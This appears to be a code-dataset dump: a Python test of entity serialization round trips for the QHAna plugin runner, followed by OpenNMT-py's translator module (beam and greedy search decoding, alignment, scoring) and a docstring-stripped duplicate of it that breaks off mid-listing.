dict_serializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=[ "ID", ], ) # assert all serialized for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" # deserialize deserialize = dict_deserializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities)

33

90

0.679983

from collections import namedtuple from hypothesis import given from hypothesis import strategies as st from test_entity_marshalling import ( CSV_UNSAFE_CHARACTERS, DEFAULT_ATTRIBUTES, DEFAULT_ENTITY_STRATEGY, DEFAULT_ENTITY_TUPLE, DEFAULT_ENTITY_TUPLE_STRATEGY, ) from utils import assert_sequence_equals, assert_sequence_partial_equals from qhana_plugin_runner.plugin_utils.attributes import ( AttributeMetadata, dict_deserializer, dict_serializer, parse_attribute_metadata, tuple_deserializer, tuple_serializer, ) from qhana_plugin_runner.plugin_utils.entity_marshalling import ensure_dict ATTR_METADATA_TUPLE = namedtuple( "AttributeMetadataTuple", [ "ID", "type", "title", "description", "multiple", "ordered", "separator", "refTarget", "schema", ], ) DEFAULT_ATTR_METADATA = [ ATTR_METADATA_TUPLE("ID", "string", "Entity ID", "", False, False, ";", None, None), ATTR_METADATA_TUPLE( "href", "string", "Entity URL", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "integer", "integer", "Integer Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "number", "double", "Number Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "boolean", "boolean", "Boolean Attribute", "", False, False, ";", None, None ), ATTR_METADATA_TUPLE( "str_list", "string", "String List Attribute", "", True, True, ";", None, None ), ATTR_METADATA_TUPLE( "integer_list", "integer", "Integer List Attribute", "", True, True, ";", None, None, ), ATTR_METADATA_TUPLE( "number_list", "double", "Number List Attribute", "", True, True, ";", None, None ), ATTR_METADATA_TUPLE( "boolean_list", "boolean", "Boolean List Attribute", "", True, True, ";", None, None, ), ATTR_METADATA_TUPLE( "str_set", "string", "String Set Attribute", "", True, False, ";", None, None ), ATTR_METADATA_TUPLE( "integer_set", "integer", "Integer Set Attribute", "", True, False, ";", None, None, ), ATTR_METADATA_TUPLE( "number_set", "double", "Number Set Attribute", "", True, False, ";", None, None ), ATTR_METADATA_TUPLE( "boolean_set", "boolean", "Boolean Set Attribute", "", True, False, ";", None, None, ), ] @given(entities=st.lists(DEFAULT_ENTITY_TUPLE_STRATEGY)) def test_tuple_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) serialize = tuple_serializer( DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make ) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" deserialize = tuple_deserializer( DEFAULT_ATTRIBUTES, attr_metadata, tuple_=DEFAULT_ENTITY_TUPLE._make ) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) @given(entities=st.lists(DEFAULT_ENTITY_STRATEGY)) def test_dict_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) @given(entities=st.lists(DEFAULT_ENTITY_STRATEGY)) def test_dict_serialization_roundtrip_in_place(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) serialize = dict_serializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True) serialized_entities = list(serialize(dict(entity)) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=["ID", "href"] ) for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" deserialize = dict_deserializer(DEFAULT_ATTRIBUTES, attr_metadata, in_place=True) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) LIST_ENTITY_ATTRIBUTES = ["ID", "str_list", "integer_list", "number_list", "boolean_list"] LIST_ENTITY_STRATEGY = st.fixed_dictionaries( { "ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)), "str_list": st.lists( st.text(st.characters(blacklist_characters=[";"]), min_size=1) ), "integer_list": st.lists(st.integers()), "number_list": st.lists(st.floats(allow_infinity=False, allow_nan=False)), "boolean_list": st.lists(st.booleans()), } ) @given(entities=st.lists(LIST_ENTITY_STRATEGY)) def test_list_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) serialize = dict_serializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=[ "ID", ], ) for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" deserialize = dict_deserializer(LIST_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities) SET_ENTITY_ATTRIBUTES = ["ID", "str_set", "integer_set", "number_set", "boolean_set"] SET_ENTITY_STRATEGY = st.fixed_dictionaries( { "ID": st.text(st.characters(blacklist_characters=CSV_UNSAFE_CHARACTERS)), "str_set": st.sets( st.text(st.characters(blacklist_characters=[";"]), min_size=1) ), "integer_set": st.sets(st.integers()), "number_set": st.sets(st.floats(allow_infinity=False, allow_nan=False)), "boolean_set": st.sets(st.booleans()), } ) @given(entities=st.lists(SET_ENTITY_STRATEGY)) def test_set_serialization_roundtrip(entities: list): attr_metadata = parse_attribute_metadata(ensure_dict(DEFAULT_ATTR_METADATA)) serialize = dict_serializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) serialized_entities = list(serialize(entity) for entity in entities) assert_sequence_partial_equals( expected=entities, actual=serialized_entities, attributes_to_test=[ "ID", ], ) for ent in serialized_entities: for value in ent: assert isinstance( value, str ), f"Value {value} of entity {ent} did not get serialized correctly!" deserialize = dict_deserializer(SET_ENTITY_ATTRIBUTES, attr_metadata, in_place=False) deserialized_entities = list(deserialize(entity) for entity in serialized_entities) assert_sequence_equals(expected=entities, actual=deserialized_entities)

true

f7f34f360e2064b20af2f6704d7097a1290a98ba

29,373

py

Python

onmt/translate/translator.py

GarrettNicolai/OpenNMT-py

9491d900ac1b50fe39da417bacc0b9d610331888

[ "MIT" ]

null

onmt/translate/translator.py

GarrettNicolai/OpenNMT-py

9491d900ac1b50fe39da417bacc0b9d610331888

[ "MIT" ]

null

onmt/translate/translator.py

GarrettNicolai/OpenNMT-py

9491d900ac1b50fe39da417bacc0b9d610331888

[ "MIT" ]

null

#!/usr/bin/env python """ Translator Class and builder """ from __future__ import print_function import codecs import os import time import numpy as np from itertools import count, zip_longest import torch import onmt.model_builder import onmt.inputters as inputters import onmt.decoders.ensemble from onmt.translate.beam_search import BeamSearch from onmt.translate.greedy_search import GreedySearch from onmt.utils.misc import tile, set_random_seed, report_matrix from onmt.utils.alignment import extract_alignment, build_align_pharaoh from onmt.modules.copy_generator import collapse_copy_scores def build_translator(opt, report_score=True, logger=None, out_file=None): if out_file is None: out_file = codecs.open(opt.output, 'w+', 'utf-8') load_test_model = onmt.decoders.ensemble.load_test_model \ if len(opt.models) > 1 else onmt.model_builder.load_test_model fields, model, model_opt = load_test_model(opt) scorer = onmt.translate.GNMTGlobalScorer.from_opt(opt) translator = Translator.from_opt( model, fields, opt, model_opt, global_scorer=scorer, out_file=out_file, report_align=opt.report_align, report_score=report_score, logger=logger ) model.decoder.set_eval_status(True) return translator def max_tok_len(new, count, sofar): """ In token batching scheme, the number of sequences is limited such that the total number of src/tgt tokens (including padding) in a batch <= batch_size """ # Maintains the longest src and tgt length in the current batch global max_src_in_batch # this is a hack # Reset current longest length at a new batch (count=1) if count == 1: max_src_in_batch = 0 # max_tgt_in_batch = 0 # Src: [<bos> w1 ... wN <eos>] max_src_in_batch = max(max_src_in_batch, len(new.src[0]) + 2) # Tgt: [w1 ... wM <eos>] src_elements = count * max_src_in_batch return src_elements class Translator(object): """Translate a batch of sentences with a saved model. Args: model (onmt.modules.NMTModel): NMT model to use for translation fields (dict[str, torchtext.data.Field]): A dict mapping each side to its list of name-Field pairs. src_reader (onmt.inputters.DataReaderBase): Source reader. tgt_reader (onmt.inputters.TextDataReader): Target reader. gpu (int): GPU device. Set to negative for no GPU. n_best (int): How many beams to wait for. min_length (int): See :class:`onmt.translate.decode_strategy.DecodeStrategy`. max_length (int): See :class:`onmt.translate.decode_strategy.DecodeStrategy`. beam_size (int): Number of beams. random_sampling_topk (int): See :class:`onmt.translate.greedy_search.GreedySearch`. random_sampling_temp (int): See :class:`onmt.translate.greedy_search.GreedySearch`. stepwise_penalty (bool): Whether coverage penalty is applied every step or not. dump_beam (bool): Debugging option. block_ngram_repeat (int): See :class:`onmt.translate.decode_strategy.DecodeStrategy`. ignore_when_blocking (set or frozenset): See :class:`onmt.translate.decode_strategy.DecodeStrategy`. replace_unk (bool): Replace unknown token. data_type (str): Source data type. verbose (bool): Print/log every translation. report_time (bool): Print/log total time/frequency. copy_attn (bool): Use copy attention. global_scorer (onmt.translate.GNMTGlobalScorer): Translation scoring/reranking object. out_file (TextIO or codecs.StreamReaderWriter): Output file. report_score (bool) : Whether to report scores logger (logging.Logger or NoneType): Logger. """ def __init__( self, model, fields, src_reader, tgt_reader, gpu=-1, n_best=1, min_length=0, max_length=100, ratio=0., beam_size=30, random_sampling_topk=1, random_sampling_temp=1, stepwise_penalty=None, dump_beam=False, block_ngram_repeat=0, ignore_when_blocking=frozenset(), replace_unk=False, phrase_table="", data_type="text", verbose=False, report_time=False, copy_attn=False, global_scorer=None, out_file=None, report_align=False, report_score=True, logger=None, seed=-1): self.model = model self.fields = fields tgt_field = dict(self.fields)["tgt"].base_field self._tgt_vocab = tgt_field.vocab self._tgt_eos_idx = self._tgt_vocab.stoi[tgt_field.eos_token] self._tgt_pad_idx = self._tgt_vocab.stoi[tgt_field.pad_token] self._tgt_bos_idx = self._tgt_vocab.stoi[tgt_field.init_token] self._tgt_unk_idx = self._tgt_vocab.stoi[tgt_field.unk_token] self._tgt_vocab_len = len(self._tgt_vocab) self._gpu = gpu self._use_cuda = gpu > -1 self._dev = torch.device("cuda", self._gpu) \ if self._use_cuda else torch.device("cpu") self.n_best = n_best self.max_length = max_length self.beam_size = beam_size self.random_sampling_temp = random_sampling_temp self.sample_from_topk = random_sampling_topk self.min_length = min_length self.ratio = ratio self.stepwise_penalty = stepwise_penalty self.dump_beam = dump_beam self.block_ngram_repeat = block_ngram_repeat self.ignore_when_blocking = ignore_when_blocking self._exclusion_idxs = { self._tgt_vocab.stoi[t] for t in self.ignore_when_blocking} self.src_reader = src_reader self.tgt_reader = tgt_reader self.replace_unk = replace_unk if self.replace_unk and not self.model.decoder.attentional: raise ValueError( "replace_unk requires an attentional decoder.") self.phrase_table = phrase_table self.data_type = data_type self.verbose = verbose self.report_time = report_time self.copy_attn = copy_attn self.global_scorer = global_scorer if self.global_scorer.has_cov_pen and \ not self.model.decoder.attentional: raise ValueError( "Coverage penalty requires an attentional decoder.") self.out_file = out_file self.report_align = report_align self.report_score = report_score self.logger = logger self.use_filter_pred = False self._filter_pred = None # for debugging self.beam_trace = self.dump_beam != "" self.beam_accum = None if self.beam_trace: self.beam_accum = { "predicted_ids": [], "beam_parent_ids": [], "scores": [], "log_probs": []} set_random_seed(seed, self._use_cuda) @classmethod def from_opt( cls, model, fields, opt, model_opt, global_scorer=None, out_file=None, report_align=False, report_score=True, logger=None): """Alternate constructor. Args: model (onmt.modules.NMTModel): See :func:`__init__()`. fields (dict[str, torchtext.data.Field]): See :func:`__init__()`. opt (argparse.Namespace): Command line options model_opt (argparse.Namespace): Command line options saved with the model checkpoint. global_scorer (onmt.translate.GNMTGlobalScorer): See :func:`__init__()`.. out_file (TextIO or codecs.StreamReaderWriter): See :func:`__init__()`. report_align (bool) : See :func:`__init__()`. report_score (bool) : See :func:`__init__()`. logger (logging.Logger or NoneType): See :func:`__init__()`. """ src_reader = inputters.str2reader[opt.data_type].from_opt(opt) tgt_reader = inputters.str2reader["text"].from_opt(opt) return cls( model, fields, src_reader, tgt_reader, gpu=opt.gpu, n_best=opt.n_best, min_length=opt.min_length, max_length=opt.max_length, ratio=opt.ratio, beam_size=opt.beam_size, random_sampling_topk=opt.random_sampling_topk, random_sampling_temp=opt.random_sampling_temp, stepwise_penalty=opt.stepwise_penalty, dump_beam=opt.dump_beam, block_ngram_repeat=opt.block_ngram_repeat, ignore_when_blocking=set(opt.ignore_when_blocking), replace_unk=opt.replace_unk, phrase_table=opt.phrase_table, data_type=opt.data_type, verbose=opt.verbose, report_time=opt.report_time, copy_attn=model_opt.copy_attn, global_scorer=global_scorer, out_file=out_file, report_align=report_align, report_score=report_score, logger=logger, seed=opt.seed) def _log(self, msg): if self.logger: self.logger.info(msg) else: print(msg) def _gold_score(self, batch, memory_bank, src_lengths, src_vocabs, use_src_map, enc_states, batch_size, src): if "tgt" in batch.__dict__: gs = self._score_target( batch, memory_bank, src_lengths, src_vocabs, batch.src_map if use_src_map else None) self.model.decoder.init_state(src, memory_bank, enc_states) else: gs = [0] * batch_size return gs def translate( self, src, tgt=None, src_dir=None, batch_size=None, batch_type="sents", attn_debug=False, align_debug=False, phrase_table=""): """Translate content of ``src`` and get gold scores from ``tgt``. Args: src: See :func:`self.src_reader.read()`. tgt: See :func:`self.tgt_reader.read()`. src_dir: See :func:`self.src_reader.read()` (only relevant for certain types of data). batch_size (int): size of examples per mini-batch attn_debug (bool): enables the attention logging align_debug (bool): enables the word alignment logging Returns: (`list`, `list`) * all_scores is a list of `batch_size` lists of `n_best` scores * all_predictions is a list of `batch_size` lists of `n_best` predictions """ if batch_size is None: raise ValueError("batch_size must be set") src_data = {"reader": self.src_reader, "data": src, "dir": src_dir} tgt_data = {"reader": self.tgt_reader, "data": tgt, "dir": None} _readers, _data, _dir = inputters.Dataset.config( [('src', src_data), ('tgt', tgt_data)]) data = inputters.Dataset( self.fields, readers=_readers, data=_data, dirs=_dir, sort_key=inputters.str2sortkey[self.data_type], filter_pred=self._filter_pred ) data_iter = inputters.OrderedIterator( dataset=data, device=self._dev, batch_size=batch_size, batch_size_fn=max_tok_len if batch_type == "tokens" else None, train=False, sort=False, sort_within_batch=True, shuffle=False ) xlation_builder = onmt.translate.TranslationBuilder( data, self.fields, self.n_best, self.replace_unk, tgt, self.phrase_table ) # Statistics counter = count(1) pred_score_total, pred_words_total = 0, 0 gold_score_total, gold_words_total = 0, 0 all_scores = [] all_predictions = [] start_time = time.time() for batch in data_iter: batch_data = self.translate_batch( batch, data.src_vocabs, attn_debug ) translations = xlation_builder.from_batch(batch_data) for trans in translations: all_scores += [trans.pred_scores[:self.n_best]] pred_score_total += trans.pred_scores[0] pred_words_total += len(trans.pred_sents[0]) if tgt is not None: gold_score_total += trans.gold_score gold_words_total += len(trans.gold_sent) + 1 n_best_preds = [" ".join(pred) for pred in trans.pred_sents[:self.n_best]] if self.report_align: align_pharaohs = [build_align_pharaoh(align) for align in trans.word_aligns[:self.n_best]] n_best_preds_align = [" ".join(align) for align in align_pharaohs] n_best_preds = [pred + " ||| " + align for pred, align in zip( n_best_preds, n_best_preds_align)] all_predictions += [n_best_preds] self.out_file.write('\n'.join(n_best_preds) + '\n') self.out_file.flush() if self.verbose: sent_number = next(counter) output = trans.log(sent_number) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) if attn_debug: preds = trans.pred_sents[0] preds.append('</s>') attns = trans.attns[0].tolist() if self.data_type == 'text': srcs = trans.src_raw else: srcs = [str(item) for item in range(len(attns[0]))] output = report_matrix(srcs, preds, attns) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) if align_debug: if trans.gold_sent is not None: tgts = trans.gold_sent else: tgts = trans.pred_sents[0] align = trans.word_aligns[0].tolist() if self.data_type == 'text': srcs = trans.src_raw else: srcs = [str(item) for item in range(len(align[0]))] output = report_matrix(srcs, tgts, align) if self.logger: self.logger.info(output) else: os.write(1, output.encode('utf-8')) end_time = time.time() if self.report_score: msg = self._report_score('PRED', pred_score_total, pred_words_total) self._log(msg) if tgt is not None: msg = self._report_score('GOLD', gold_score_total, gold_words_total) self._log(msg) if self.report_time: total_time = end_time - start_time self._log("Total translation time (s): %f" % total_time) self._log("Average translation time (s): %f" % ( total_time / len(all_predictions))) self._log("Tokens per second: %f" % ( pred_words_total / total_time)) if self.dump_beam: import json json.dump(self.translator.beam_accum, codecs.open(self.dump_beam, 'w', 'utf-8')) return all_scores, all_predictions def _align_pad_prediction(self, predictions, bos, pad): """ Padding predictions in batch and add BOS. Args: predictions (List[List[Tensor]]): `(batch, n_best,)`, for each src sequence contain n_best tgt predictions all of which ended with eos id. bos (int): bos index to be used. pad (int): pad index to be used. Return: batched_nbest_predict (torch.LongTensor): `(batch, n_best, tgt_l)` """ dtype, device = predictions[0][0].dtype, predictions[0][0].device flatten_tgt = [best.tolist() for bests in predictions for best in bests] paded_tgt = torch.tensor( list(zip_longest(*flatten_tgt, fillvalue=pad)), dtype=dtype, device=device).T bos_tensor = torch.full([paded_tgt.size(0), 1], bos, dtype=dtype, device=device) full_tgt = torch.cat((bos_tensor, paded_tgt), dim=-1) batched_nbest_predict = full_tgt.view( len(predictions), -1, full_tgt.size(-1)) # (batch, n_best, tgt_l) return batched_nbest_predict def _align_forward(self, batch, predictions): """ For a batch of input and its prediction, return a list of batch predict alignment src indice Tensor in size ``(batch, n_best,)``. """ # (0) add BOS and padding to tgt prediction if hasattr(batch, 'tgt'): batch_tgt_idxs = batch.tgt.transpose(1, 2).transpose(0, 2) else: batch_tgt_idxs = self._align_pad_prediction( predictions, bos=self._tgt_bos_idx, pad=self._tgt_pad_idx) tgt_mask = (batch_tgt_idxs.eq(self._tgt_pad_idx) | batch_tgt_idxs.eq(self._tgt_eos_idx) | batch_tgt_idxs.eq(self._tgt_bos_idx)) n_best = batch_tgt_idxs.size(1) # (1) Encoder forward. src, enc_states, memory_bank, src_lengths = self._run_encoder(batch) # (2) Repeat src objects `n_best` times. # We use batch_size x n_best, get ``(src_len, batch * n_best, nfeat)`` src = tile(src, n_best, dim=1) enc_states = tile(enc_states, n_best, dim=1) if isinstance(memory_bank, tuple): memory_bank = tuple(tile(x, n_best, dim=1) for x in memory_bank) else: memory_bank = tile(memory_bank, n_best, dim=1) src_lengths = tile(src_lengths, n_best) # ``(batch * n_best,)`` # (3) Init decoder with n_best src, self.model.decoder.init_state(src, memory_bank, enc_states) # reshape tgt to ``(len, batch * n_best, nfeat)`` tgt = batch_tgt_idxs.view(-1, batch_tgt_idxs.size(-1)).T.unsqueeze(-1) dec_in = tgt[:-1] # exclude last target from inputs _, attns = self.model.decoder( dec_in, memory_bank, memory_lengths=src_lengths, with_align=True) alignment_attn = attns["align"] # ``(B, tgt_len-1, src_len)`` # masked_select align_tgt_mask = tgt_mask.view(-1, tgt_mask.size(-1)) prediction_mask = align_tgt_mask[:, 1:] # exclude bos to match pred # get aligned src id for each prediction's valid tgt tokens alignement = extract_alignment( alignment_attn, prediction_mask, src_lengths, n_best) return alignement def translate_batch(self, batch, src_vocabs, attn_debug): #self.model.decoder.set_eval_status(True) """Translate a batch of sentences.""" with torch.no_grad(): if self.beam_size == 1: decode_strategy = GreedySearch( pad=self._tgt_pad_idx, bos=self._tgt_bos_idx, eos=self._tgt_eos_idx, batch_size=batch.batch_size, min_length=self.min_length, max_length=self.max_length, block_ngram_repeat=self.block_ngram_repeat, exclusion_tokens=self._exclusion_idxs, return_attention=attn_debug or self.replace_unk, sampling_temp=self.random_sampling_temp, keep_topk=self.sample_from_topk) else: # TODO: support these blacklisted features assert not self.dump_beam decode_strategy = BeamSearch( self.beam_size, batch_size=batch.batch_size, pad=self._tgt_pad_idx, bos=self._tgt_bos_idx, eos=self._tgt_eos_idx, n_best=self.n_best, global_scorer=self.global_scorer, min_length=self.min_length, max_length=self.max_length, return_attention=attn_debug or self.replace_unk, block_ngram_repeat=self.block_ngram_repeat, exclusion_tokens=self._exclusion_idxs, stepwise_penalty=self.stepwise_penalty, ratio=self.ratio) #self.model.decoder.set_eval_status(False) return self._translate_batch_with_strategy(batch, src_vocabs, decode_strategy) def _run_encoder(self, batch): src, src_lengths = batch.src if isinstance(batch.src, tuple) \ else (batch.src, None) enc_states, memory_bank, src_lengths = self.model.encoder( src, src_lengths) if src_lengths is None: assert not isinstance(memory_bank, tuple), \ 'Ensemble decoding only supported for text data' src_lengths = torch.Tensor(batch.batch_size) \ .type_as(memory_bank) \ .long() \ .fill_(memory_bank.size(0)) return src, enc_states, memory_bank, src_lengths def _decode_and_generate( self, decoder_in, memory_bank, batch, src_vocabs, memory_lengths, src_map=None, step=None, batch_offset=None): if self.copy_attn: # Turn any copied words into UNKs. decoder_in = decoder_in.masked_fill( decoder_in.gt(self._tgt_vocab_len - 1), self._tgt_unk_idx ) # Decoder forward, takes [tgt_len, batch, nfeats] as input # and [src_len, batch, hidden] as memory_bank # in case of inference tgt_len = 1, batch = beam times batch_size # in case of Gold Scoring tgt_len = actual length, batch = 1 batch self.model.decoder.set_copy_info(batch, self._tgt_vocab) dec_out, dec_attn = self.model.decoder( decoder_in, memory_bank, memory_lengths=memory_lengths, step=step ) # Generator forward. if not self.copy_attn: if "std" in dec_attn: attn = dec_attn["std"] else: attn = None log_probs = self.model.generator(dec_out.squeeze(0)) # returns [(batch_size x beam_size) , vocab ] when 1 step # or [ tgt_len, batch_size, vocab ] when full sentence else: attn = dec_attn["copy"] #print("DEC_OUT: ", dec_out.size()) #print("ATTN: ", attn.size()) scores = self.model.generator(dec_out.view(-1, dec_out.size(2)), attn.view(-1, attn.size(2)), src_map) # here we have scores [tgt_lenxbatch, vocab] or [beamxbatch, vocab] if batch_offset is None: scores = scores.view(-1, batch.batch_size, scores.size(-1)) scores = scores.transpose(0, 1).contiguous() else: scores = scores.view(-1, self.beam_size, scores.size(-1)) #print("TGT_VOCAB: ", self._tgt_vocab) scores = collapse_copy_scores( scores, batch, self._tgt_vocab, src_vocabs, batch_dim=0, batch_offset=batch_offset ) scores = scores.view(decoder_in.size(0), -1, scores.size(-1)) log_probs = scores.squeeze(0).log() #print(log_probs.size()) # returns [(batch_size x beam_size) , vocab ] when 1 step # or [ tgt_len, batch_size, vocab ] when full sentence return log_probs, attn def _translate_batch_with_strategy( self, batch, src_vocabs, decode_strategy): """Translate a batch of sentences step by step using cache. Args: batch: a batch of sentences, yield by data iterator. src_vocabs (list): list of torchtext.data.Vocab if can_copy. decode_strategy (DecodeStrategy): A decode strategy to use for generate translation step by step. Returns: results (dict): The translation results. """ # (0) Prep the components of the search. use_src_map = self.copy_attn parallel_paths = decode_strategy.parallel_paths # beam_size batch_size = batch.batch_size # (1) Run the encoder on the src. src, enc_states, memory_bank, src_lengths = self._run_encoder(batch) self.model.decoder.init_state(src, memory_bank, enc_states) results = { "predictions": None, "scores": None, "attention": None, "batch": batch, "gold_score": self._gold_score( batch, memory_bank, src_lengths, src_vocabs, use_src_map, enc_states, batch_size, src)} # (2) prep decode_strategy. Possibly repeat src objects. src_map = batch.src_map if use_src_map else None fn_map_state, memory_bank, memory_lengths, src_map = \ decode_strategy.initialize(memory_bank, src_lengths, src_map) if fn_map_state is not None: self.model.decoder.map_state(fn_map_state) # (3) Begin decoding step by step: for step in range(decode_strategy.max_length): decoder_input = decode_strategy.current_predictions.view(1, -1, 1) log_probs, attn = self._decode_and_generate( decoder_input, memory_bank, batch, src_vocabs, memory_lengths=memory_lengths, src_map=src_map, step=step, batch_offset=decode_strategy.batch_offset) decode_strategy.advance(log_probs, attn) any_finished = decode_strategy.is_finished.any() if any_finished: decode_strategy.update_finished() if decode_strategy.done: break select_indices = decode_strategy.select_indices if any_finished: # Reorder states. if isinstance(memory_bank, tuple): memory_bank = tuple(x.index_select(1, select_indices) for x in memory_bank) else: memory_bank = memory_bank.index_select(1, select_indices) memory_lengths = memory_lengths.index_select(0, select_indices) if src_map is not None: src_map = src_map.index_select(1, select_indices) if parallel_paths > 1 or any_finished: self.model.decoder.map_state( lambda state, dim: state.index_select(dim, select_indices)) results["scores"] = decode_strategy.scores results["predictions"] = decode_strategy.predictions results["attention"] = decode_strategy.attention if self.report_align: results["alignment"] = self._align_forward( batch, decode_strategy.predictions) else: results["alignment"] = [[] for _ in range(batch_size)] return results def _score_target(self, batch, memory_bank, src_lengths, src_vocabs, src_map): tgt = batch.tgt tgt_in = tgt[:-1] log_probs, attn = self._decode_and_generate( tgt_in, memory_bank, batch, src_vocabs, memory_lengths=src_lengths, src_map=src_map) log_probs[:, :, self._tgt_pad_idx] = 0 gold = tgt[1:] gold_scores = log_probs.gather(2, gold) gold_scores = gold_scores.sum(dim=0).view(-1) return gold_scores def _report_score(self, name, score_total, words_total): if words_total == 0: msg = "%s No words predicted" % (name,) else: avg_score = score_total / words_total ppl = np.exp(-score_total.item() / words_total) msg = ("%s AVG SCORE: %.4f, %s PPL: %.4f" % ( name, avg_score, name, ppl)) return msg

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from __future__ import print_function import codecs import os import time import numpy as np from itertools import count, zip_longest import torch import onmt.model_builder import onmt.inputters as inputters import onmt.decoders.ensemble from onmt.translate.beam_search import BeamSearch from onmt.translate.greedy_search import GreedySearch from onmt.utils.misc import tile, set_random_seed, report_matrix from onmt.utils.alignment import extract_alignment, build_align_pharaoh from onmt.modules.copy_generator import collapse_copy_scores def build_translator(opt, report_score=True, logger=None, out_file=None): if out_file is None: out_file = codecs.open(opt.output, 'w+', 'utf-8') load_test_model = onmt.decoders.ensemble.load_test_model \ if len(opt.models) > 1 else onmt.model_builder.load_test_model fields, model, model_opt = load_test_model(opt) scorer = onmt.translate.GNMTGlobalScorer.from_opt(opt) translator = Translator.from_opt( model, fields, opt, model_opt, global_scorer=scorer, out_file=out_file, report_align=opt.report_align, report_score=report_score, logger=logger ) model.decoder.set_eval_status(True) return translator def max_tok_len(new, count, sofar): global max_src_in_batch if count == 1: max_src_in_batch = 0 max_src_in_batch = max(max_src_in_batch, len(new.src[0]) + 2) src_elements = count * max_src_in_batch return src_elements class Translator(object): def __init__( self, model, fields, src_reader, tgt_reader, gpu=-1, n_best=1, min_length=0, max_length=100, ratio=0., beam_size=30, random_sampling_topk=1, random_sampling_temp=1, stepwise_penalty=None, dump_beam=False, block_ngram_repeat=0, ignore_when_blocking=frozenset(), replace_unk=False, phrase_table="", data_type="text", verbose=False, report_time=False, copy_attn=False, global_scorer=None, out_file=None, report_align=False, report_score=True, logger=None, seed=-1): self.model = model self.fields = fields tgt_field = dict(self.fields)["tgt"].base_field self._tgt_vocab = tgt_field.vocab self._tgt_eos_idx = self._tgt_vocab.stoi[tgt_field.eos_token] self._tgt_pad_idx = self._tgt_vocab.stoi[tgt_field.pad_token] self._tgt_bos_idx = self._tgt_vocab.stoi[tgt_field.init_token] self._tgt_unk_idx = self._tgt_vocab.stoi[tgt_field.unk_token] self._tgt_vocab_len = len(self._tgt_vocab) self._gpu = gpu self._use_cuda = gpu > -1 self._dev = torch.device("cuda", self._gpu) \ if self._use_cuda else torch.device("cpu") self.n_best = n_best self.max_length = max_length self.beam_size = beam_size self.random_sampling_temp = random_sampling_temp self.sample_from_topk = random_sampling_topk self.min_length = min_length self.ratio = ratio self.stepwise_penalty = stepwise_penalty self.dump_beam = dump_beam self.block_ngram_repeat = block_ngram_repeat self.ignore_when_blocking = ignore_when_blocking self._exclusion_idxs = { self._tgt_vocab.stoi[t] for t in self.ignore_when_blocking} self.src_reader = src_reader self.tgt_reader = tgt_reader self.replace_unk = replace_unk if self.replace_unk and not self.model.decoder.attentional: raise ValueError( "replace_unk requires an attentional decoder.") self.phrase_table = phrase_table self.data_type = data_type self.verbose = verbose self.report_time = report_time self.copy_attn = copy_attn self.global_scorer = global_scorer if self.global_scorer.has_cov_pen and \ not self.model.decoder.attentional: raise ValueError( "Coverage penalty requires an attentional decoder.") self.out_file = out_file self.report_align = report_align self.report_score = report_score self.logger = logger self.use_filter_pred = False self._filter_pred = None self.beam_trace = self.dump_beam != "" self.beam_accum = None if self.beam_trace: self.beam_accum = { "predicted_ids": [], "beam_parent_ids": [], "scores": [], "log_probs": []} set_random_seed(seed, self._use_cuda) @classmethod def from_opt( cls, model, fields, opt, model_opt, global_scorer=None, out_file=None, report_align=False, report_score=True, logger=None): src_reader = inputters.str2reader[opt.data_type].from_opt(opt) tgt_reader = inputters.str2reader["text"].from_opt(opt) return cls( model, fields, src_reader, tgt_reader, gpu=opt.gpu, n_best=opt.n_best, min_length=opt.min_length, max_length=opt.max_length, ratio=opt.ratio, beam_size=opt.beam_size, random_sampling_topk=opt.random_sampling_topk, random_sampling_temp=opt.random_sampling_temp, 